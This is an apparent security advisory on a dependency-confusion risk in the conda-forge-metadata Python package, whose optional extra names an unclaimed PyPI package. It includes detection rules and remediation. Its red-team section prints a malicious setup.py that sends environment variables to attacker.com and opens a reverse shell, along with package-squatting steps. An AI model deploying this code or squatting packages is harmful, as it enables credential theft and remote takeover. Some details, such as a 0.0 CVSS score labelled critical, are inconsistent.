CVE-2025-27510

Executive Summary

CVE-2025-27510 identifies a critical supply chain vulnerability in the conda-forge-metadata Python package. The package declares an optional dependency named conda-oci-mirror that was never published to PyPI and is not registered by any legitimate entity. This creates an opportunity for a threat actor to register the missing package name on PyPI, thereby injecting malicious code into any environment that installs conda-forge-metadata with the optional dependency enabled. If exploited, this can lead to remote code execution (RCE) within the context of the user or CI/CD pipeline that installs the package.

Supply Chain & Package Security

This vulnerability is a classic dependency confusion / typo-squatting attack vector targeting the Python (PyPI) ecosystem. The conda-forge-metadata package, used for programmatic access to Conda-Forge metadata, lists conda-oci-mirror as an optional dependency. Since the name is unclaimed, an attacker can register it on PyPI and publish a malicious version. Any automated installation (e.g., pip install conda-forge-metadata[oci]) or CI/CD pipeline that includes the optional dependency will pull the attacker’s code, leading to arbitrary code execution.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Not officially assigned)
• Attack Vector (AV): Network (dependency fetched from PyPI)
• Attack Complexity (AC): Low (no special conditions)
• Privileges Required (PR): None (attacker only needs to register the package)
• User Interaction (UI): None (installation is automated)
• Scope (S): Changed (attacker code runs in the user’s environment)
• Confidentiality (C): High
• Integrity (I): High
• Availability (A): High
• Threat Level: Critical (Supply Chain / Dependency Confusion)

Deep Dive & Mechanics

The vulnerability arises from the conda-forge-metadata package’s setup.py or pyproject.toml file, which includes an optional dependency:

extras_require={
    "oci": ["conda-oci-mirror"],
}

Because conda-oci-mirror is not a real package, an attacker can:

1. Register the name conda-oci-mirror on PyPI.
2. Publish a malicious version containing a setup.py that executes arbitrary code during installation (e.g., exfiltrating credentials, installing backdoors).
3. Wait for users or CI/CD systems to install conda-forge-metadata[oci].

The attack does not require any user interaction beyond the standard installation process. The malicious code runs with the privileges of the user performing the installation.

Vulnerable vs. Patched Code

Vulnerable configuration (in setup.py or pyproject.toml):

# Vulnerable: references an unclaimed package
extras_require={
    "oci": ["conda-oci-mirror"],
}

Patched configuration (remove or replace the dependency):

# Patched: remove the optional dependency or replace with a verified package
extras_require={
    "oci": [],  # or use a legitimate package
}

No official patch has been released by Conda-Forge as of this report. The only mitigation is to avoid installing the optional dependency or to manually pin a safe alternative.

Exploitation & Lab Setup

Red Team (Attack Simulation)

1. Register the malicious package on PyPI:

   • Create a PyPI account.
   • Upload a package named conda-oci-mirror with a setup.py that executes a reverse shell or exfiltrates environment variables.

   Example malicious setup.py:

   import os
   import requests
   
   # Exfiltrate environment variables
   env_data = os.environ
   requests.post("https://attacker.com/exfil", data=env_data)
   
   # Or execute a reverse shell
   import socket,subprocess,os
   s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
   s.connect(("attacker.com",4444))
   os.dup2(s.fileno(),0)
   os.dup2(s.fileno(),1)
   os.dup2(s.fileno(),2)
   subprocess.call(["/bin/sh","-i"])
   

2. Trigger installation:

   • Victim runs: pip install conda-forge-metadata[oci]
   • The malicious setup.py executes automatically.

Blue Team (Detection & Prevention)

• Prevention: Block installation of unregistered packages using a private PyPI mirror or a package allowlist.
• Detection: Monitor for unexpected outbound connections during package installation.
• Hunting: Search for conda-oci-mirror in requirements.txt, setup.py, or pyproject.toml files.

Indicators of Compromise (IOCs)

• Package Name: conda-oci-mirror (any version)
• PyPI Publisher: Unknown (attacker-controlled)
• Network Connections: Outbound connections to attacker-controlled domains during pip install
• File System: Unexpected files in site-packages (e.g., /usr/lib/python3.x/site-packages/conda_oci_mirror/)
• Process: pip install spawning unusual child processes (e.g., reverse shell)

Detection Engineering

YARA Rule

rule conda_oci_mirror_dependency_confusion {
    meta:
        description = "Detects references to the unclaimed conda-oci-mirror package in Python project files"
        author = "Valters IT"
        date = "2025-04-10"
        hash = "d41d8cd98f00b204e9800998ecf8427e"
    strings:
        $s1 = "conda-oci-mirror" nocase
        $s2 = "conda_oci_mirror" nocase
    condition:
        any of them
}

Sigma Rule

title: Detection of conda-oci-mirror Dependency Confusion
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects installation of the unclaimed conda-oci-mirror package
author: Valters IT
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\pip.exe'
        CommandLine|contains: 'conda-oci-mirror'
    condition: selection
falsepositives:
    - Legitimate package if registered in the future
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (
    msg:"Potential conda-oci-mirror dependency confusion - outbound connection during pip install";
    flow:to_server,established;
    content:"pypi.org"; http_host;
    content:"conda-oci-mirror"; http_uri;
    classtype:attempted-user;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

1. Immediate Action: Remove the optional dependency conda-oci-mirror from any project that uses conda-forge-metadata. Do not install the [oci] extra.
2. Package Pinning: If the dependency is required, pin to a specific, verified version from a trusted source.
3. Private Repository: Use a private PyPI mirror that only contains approved packages.
4. CI/CD Hardening: In CI/CD pipelines, use --no-deps or explicitly list dependencies to avoid pulling unverified packages.
5. Monitor PyPI: Set up alerts for new registrations of conda-oci-mirror or similar names.
6. Vendor Notification: Contact Conda-Forge to remove or replace the optional dependency.

Valters IT
DevSecOps & Cyber Threat Intelligence Division